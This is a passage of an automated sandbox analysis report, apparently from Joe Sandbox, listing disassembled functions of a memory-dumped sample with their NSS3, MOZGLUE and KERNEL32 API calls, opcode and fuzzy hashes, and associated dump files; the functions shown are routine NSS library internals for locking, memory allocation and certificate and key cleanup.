Instruction ID: ac386f75969c9415c30200faa8c687e3ecca829b09f75c8567596b4bafe7fdd3
Opcode Fuzzy Hash: 9fa4107035711ed386494c26da0219be3229c2df79d66b0507eb6290b3debf7e
Instruction Fuzzy Hash: A321C3B5D102188BEF10DF64DA065EEB7F5EF05208F094169D809BB610FB31AE99CBE1

Function 6CAB24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB24FF
EnterCriticalSection.KERNEL32(?), ref: 6CAB250F
PR_Unlock.NSS3(?), ref: 6CAB253C
PR_SetError.NSS3(00000000,00000000), ref: 6CAB2554

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 808850b742ff49c6998c28f5a50af16ee60bf4f61e5e537d49dd8ec63bcb1bf8
Instruction ID: 4802ff67e902c4225de59123fd3f3473e11a6b3bb9b9f01f51bbb23f41f8ab68
Opcode Fuzzy Hash: 808850b742ff49c6998c28f5a50af16ee60bf4f61e5e537d49dd8ec63bcb1bf8
Instruction Fuzzy Hash: CC110875E00118ABDB00AF68DD55AAF7B7CEF0A328B454225EC09A7701E731E998C7E1

Function 6CACECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CACF0AD,6CACF150,?,6CACF150,?,?,?), ref: 6CACECBA

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CACECD1

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CACED02

Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CACED5A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 971a00aa462532e26a7ed9a531a0f60f7f4b692a3676c5750d89d8cb1fbc24be
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 7321D1B1A017429BE700CF25DA45B62B7E4BFA4308F26C229E81C87A61EB70E5D4C6D1

Function 6CAFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CAE7FFA,?,6CAE9767,?,8B7874C0,0000A48E), ref: 6CAFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CAE7FFA,?,6CAE9767,?,8B7874C0,0000A48E), ref: 6CAFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CAE7FFA,?,6CAE9767,?,8B7874C0,0000A48E), ref: 6CAFEE14

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

memcpy.VCRUNTIME140(?,?,6CAE9767,00000000,00000000,6CAE7FFA,?,6CAE9767,?,8B7874C0,0000A48E), ref: 6CAFEE33

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: f44bbde4d3027cbe35eeff6f3122840c761636ea5473c2f0f7890abb84bddfb5
Instruction ID: 751ded39eb407f9df179e7f5d3ac2a5e026a3aa21cfac9178608abb5c5ba903f
Opcode Fuzzy Hash: f44bbde4d3027cbe35eeff6f3122840c761636ea5473c2f0f7890abb84bddfb5
Instruction Fuzzy Hash: 5A11A3B5A04706BBEB109E65EC84B06B3A8EB0435CF244531F929C3A00E330F4A587E1

Function 6CA98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA98DE7
EnterCriticalSection.KERNEL32 ref: 6CA98DFC
PR_Unlock.NSS3 ref: 6CA98E2D
PR_SetError.NSS3 ref: 6CA98E49

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0b194f7ac8035feeb4c6f7ddf0446a8af60b68437b8b86b965580e75996e9efc
Instruction ID: f71d0ac13d50a962dbe74e811a3701cb1fe3780ac85895de9742b4b1e067c9d3
Opcode Fuzzy Hash: 0b194f7ac8035feeb4c6f7ddf0446a8af60b68437b8b86b965580e75996e9efc
Instruction Fuzzy Hash: B2118C75A19A109BDB00AF78D5882AABBF4FF05314F054929EC8897B00E730E894CBC2

Function 6CB1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB05F17,?,?,?,?,?,?,?,?,6CB0AAD4), ref: 6CB1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB05F17,?,?,?,?,?,?,?,?,6CB0AAD4), ref: 6CB1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB0AAD4), ref: 6CB1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB0AAD4), ref: 6CB1ACDB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: eefc591f52dce772f4224e4552b51d951799c1de325f4dd00247c9b0403e77c2
Instruction ID: 660af6207360d7e3169b12293a781a38ca3df94dd5b4fabd067e5c41a64ccee4
Opcode Fuzzy Hash: eefc591f52dce772f4224e4552b51d951799c1de325f4dd00247c9b0403e77c2
Instruction Fuzzy Hash: D2014CB1601B419BEB50DF2ADD08753B7E8FF04699B104839E85AD3E00E731F559CB91

Function 6CADC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CADC5AD

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

CERT_DecodeCertPackage.NSS3(?,?,6CADC610,?), ref: 6CADC5C2

Part of subcall function 6CADC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CADC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6CADC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CADC5EF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 47f6b7afff97c79a6cf554095f757f942f27101ece9642bbf7f951bd71af90f9
Instruction ID: 9ee9fb5a00efb3552a2584ca9744217ce82375a9ae1e000ea15509c5eee225b4
Opcode Fuzzy Hash: 47f6b7afff97c79a6cf554095f757f942f27101ece9642bbf7f951bd71af90f9
Instruction Fuzzy Hash: 24018FB5E001446BEB00AB64DD06ABF7B78DB04618F864069EC099B241F662B95886E2

Function 6CAD07B0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF

Part of subcall function 6CAC8800: TlsGetValue.KERNEL32(?,6CAD085A,00000000,?,6CA78369,?), ref: 6CAC8821
Part of subcall function 6CAC8800: TlsGetValue.KERNEL32(?,?,6CAD085A,00000000,?,6CA78369,?), ref: 6CAC883D
Part of subcall function 6CAC8800: EnterCriticalSection.KERNEL32(?,?,?,6CAD085A,00000000,?,6CA78369,?), ref: 6CAC8856
Part of subcall function 6CAC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAC8887
Part of subcall function 6CAC8800: PR_Unlock.NSS3(?,?,?,?,6CAD085A,00000000,?,6CA78369,?), ref: 6CAC8899

PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6

Part of subcall function 6CAC88E0: TlsGetValue.KERNEL32(00000000,?,?,6CAD08AA,?), ref: 6CAC88F6
Part of subcall function 6CAC88E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CAD08AA,?), ref: 6CAC890B
Part of subcall function 6CAC88E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CAD08AA,?), ref: 6CAC8936
Part of subcall function 6CAC88E0: PR_Unlock.NSS3(?,?,?,?,?,6CAD08AA,?), ref: 6CAC8940

PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CondCriticalEnterErrorHashLookupSectionTableUnlock$ConstNotifyWait
String ID:
API String ID: 2112424139-0
Opcode ID: 0f6a6802dc5f5172bfc9466079c0d412365fa956cbfb5f0097d15c492fd16774
Instruction ID: ce38c041bdfd8c1707a277b1e65b5092c47fa3781ea1b8725d148f79876c1541
Opcode Fuzzy Hash: 0f6a6802dc5f5172bfc9466079c0d412365fa956cbfb5f0097d15c492fd16774
Instruction Fuzzy Hash: FBF0A4F6E1119027EA111565BC08C9F3A68AB937AD7490131ED08A3F11FB12FD9897E3

Function 6CAD24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CAAC154,000000FF,00000000,00000000,00000000,00000000,?,?,6CAAC154,?), ref: 6CAD24FA
PORT_Alloc_Util.NSS3(00000000,?,6CAAC154,?), ref: 6CAD2509

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6CAD2525
free.MOZGLUE(00000000), ref: 6CAD2532

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: a919ddec2efc6a724e2da416c0f6105d0abb268bf1e759283a4b9ff34b8e5080
Instruction ID: 99bbffbf1b681491b698b777ce196d9824c016e0eb944c725a2d3bd17e01e9ce
Opcode Fuzzy Hash: a919ddec2efc6a724e2da416c0f6105d0abb268bf1e759283a4b9ff34b8e5080
Instruction Fuzzy Hash: 86F096B630612177FB20297A5C0DE7739ACDB456F8B190331BD28C66C0D956DD41C1F1

Function 6CB80660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CB87B1B,?,?,?,?,?,?,?,?,?,6CB8798A), ref: 6CB80670

Part of subcall function 6CB39EA0: DeleteCriticalSection.KERNEL32(?), ref: 6CB39EAA

free.MOZGLUE(?,00000000,00000000,?,?,6CB87B1B,?,?,?,?,?,?,?,?,?,6CB8798A), ref: 6CB80696
free.MOZGLUE(00000004,6CB87B1B,?,?,?,?,?,?,?,?,?,6CB8798A), ref: 6CB806C7
free.MOZGLUE(?,00000000,00000000,?,?,6CB87B1B,?,?,?,?,?,?,?,?,?,6CB8798A), ref: 6CB806E9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: fca7003c2010b6931f5755a3f4a52f65086bddfe94501460e72bdfc05eadd8ef
Instruction ID: d7d5f221bb392ae83d6fea889b37a041f67bace6663ce8cfc32b43125e243cc1
Opcode Fuzzy Hash: fca7003c2010b6931f5755a3f4a52f65086bddfe94501460e72bdfc05eadd8ef
Instruction Fuzzy Hash: D3116DF47022419FEF00CF19E8A9B0637B8EB563A8F0C4125F40587611C772F545CB96

Function 6CB1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB05D40,00000000,?,?,6CAF6AC6,6CB0639C), ref: 6CB1AC2D

Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE10
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE24
Part of subcall function 6CABADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CA9D079,00000000,00000001), ref: 6CABAE5A
Part of subcall function 6CABADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE6F
Part of subcall function 6CABADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE7F
Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEB1
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEC9

PK11_FreeSymKey.NSS3(?,6CB05D40,00000000,?,?,6CAF6AC6,6CB0639C), ref: 6CB1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB05D40,00000000,?,?,6CAF6AC6,6CB0639C), ref: 6CB1AC59
free.MOZGLUE(8CB6FF01,6CAF6AC6,6CB0639C,?,?,?,?,?,?,?,?,?,6CB05D40,00000000,?,6CB0AAD4), ref: 6CB1AC62

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 0a92bf010da95e3d144944de30956bfd19c63cd1748343577ec3556d82a79a86
Instruction ID: 7e90145413b1a61e38cf28d7b4e947fec6a63574795b2e0079fa2f21c81b7f4a
Opcode Fuzzy Hash: 0a92bf010da95e3d144944de30956bfd19c63cd1748343577ec3556d82a79a86
Instruction Fuzzy Hash: 180128B56042049BDB00DF15EDC0B56BBA8EF44B58F188468E9499FB06E731F948CBA2

Function 6CB00450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6CB04710,?,000F4240,00000000), ref: 6CB0046B
GetLastError.KERNEL32(?,6CB04710,?,000F4240,00000000), ref: 6CB00479

Part of subcall function 6CB1BF80: TlsGetValue.KERNEL32(00000000,?,6CB0461B,-00000004), ref: 6CB1C244

PR_Unlock.NSS3(40C70845,?,6CB04710,?,000F4240,00000000), ref: 6CB00492
PR_SetError.NSS3(FFFFE89D,00000000,?,6CB04710,?,000F4240,00000000), ref: 6CB004A5

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: f96f9bebe9f2add8ec83e0c38fa18ecd56cf96f2730312e338f24661a08da05b
Instruction ID: 3534b9ab81adbf4a5fa476d1d9ffc701fed417a60452999b1754c49eddbc8e80
Opcode Fuzzy Hash: f96f9bebe9f2add8ec83e0c38fa18ecd56cf96f2730312e338f24661a08da05b
Instruction Fuzzy Hash: 6BF0B474B142C55BEB00AE75BC58B1F3BB9DB0120DF148474E80AC7E50EE25E544865A

Function 6CA987E0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CA987EA
PK11_DestroyTokenObject.NSS3(?,00000000), ref: 6CA98809
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA98818
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CA98821

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Destroy$K11_Private$CertCertificateFromObjectToken
String ID:
API String ID: 3228624125-0
Opcode ID: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction ID: ee2ef1af9104aa09d9302c592889d46cb6c7505ce571013b5c42fa5d3799bf38
Opcode Fuzzy Hash: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction Fuzzy Hash: 8EE0E5B7D1112837DA111965BD45A8A369C8B846BCF0C8231ED0A5A742F735DD9C83F1

Function 6CB8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CB8CC61
free.MOZGLUE ref: 6CB8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CB8CC80
free.MOZGLUE(?), ref: 6CB8CC87

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 89aeac8064bfdb91dae4cf6958b1bb90b49550c5bdadd93367ccb1bb2428f273
Instruction ID: f3081329df80a0c4ba42845c0bbd5220ade595c94c187b5a508b6d10605ab9a3
Opcode Fuzzy Hash: 89aeac8064bfdb91dae4cf6958b1bb90b49550c5bdadd93367ccb1bb2428f273
